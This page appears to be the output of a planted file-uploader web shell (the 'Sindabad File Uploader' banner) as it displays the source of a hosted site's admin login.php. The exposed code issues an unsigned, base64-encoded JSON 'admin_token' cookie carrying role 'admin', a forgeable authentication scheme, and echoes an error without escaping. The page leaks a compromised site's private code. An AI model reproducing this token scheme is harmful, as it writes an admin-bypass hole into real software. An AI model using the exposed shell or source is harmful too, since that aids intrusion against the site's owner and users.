Boarding Pass

Current Path : /home/u869455702/domains/steelblue-goldfinch-156491.hostingersite.com/public_html/
Upload File :
Current File : /home/u869455702/domains/steelblue-goldfinch-156491.hostingersite.com/public_html/login.php

<?php
include 'includes/db.php';
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $email = $_POST['email'];
    $password = $_POST['password'];

    $stmt = $conn->prepare("SELECT * FROM users WHERE email = ? AND role_id = 1");
    $stmt->bind_param("s", $email);
    $stmt->execute();
    $user = $stmt->get_result()->fetch_assoc();

    if ($user && password_verify($password, $user['password'])) {
        $token = base64_encode(json_encode([
            'id' => $user['id'],
            'email' => $user['email'],
            'role' => 'admin'
        ]));
        setcookie('admin_token', $token, time() + (86400 * 7), "/");
        header('Location: admin/dashboard.php');
        exit;
    } else {
        $error = "Invalid credentials or not an admin.";
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>Login</title>
    <link rel="stylesheet" href="assets/adminstyle.css">
</head>
<body>
    <form method="POST">
        <img src="assets/images/logo.png" alt="Petra Logo" style="width: 120px; margin-bottom: 20px;">
        <?php if (isset($error)) echo "<div class='error'>$error</div>"; ?>
        <input type="email" name="email" placeholder="Email" required /><br>
        <input type="password" name="password" placeholder="Password" required /><br>
        <button type="submit">Login</button>
    </form>
</body>
</html>

Sindabad File Uploader 1.0, Coded By Sindbad EG ~ The Terrorists Not Found
404
Not Found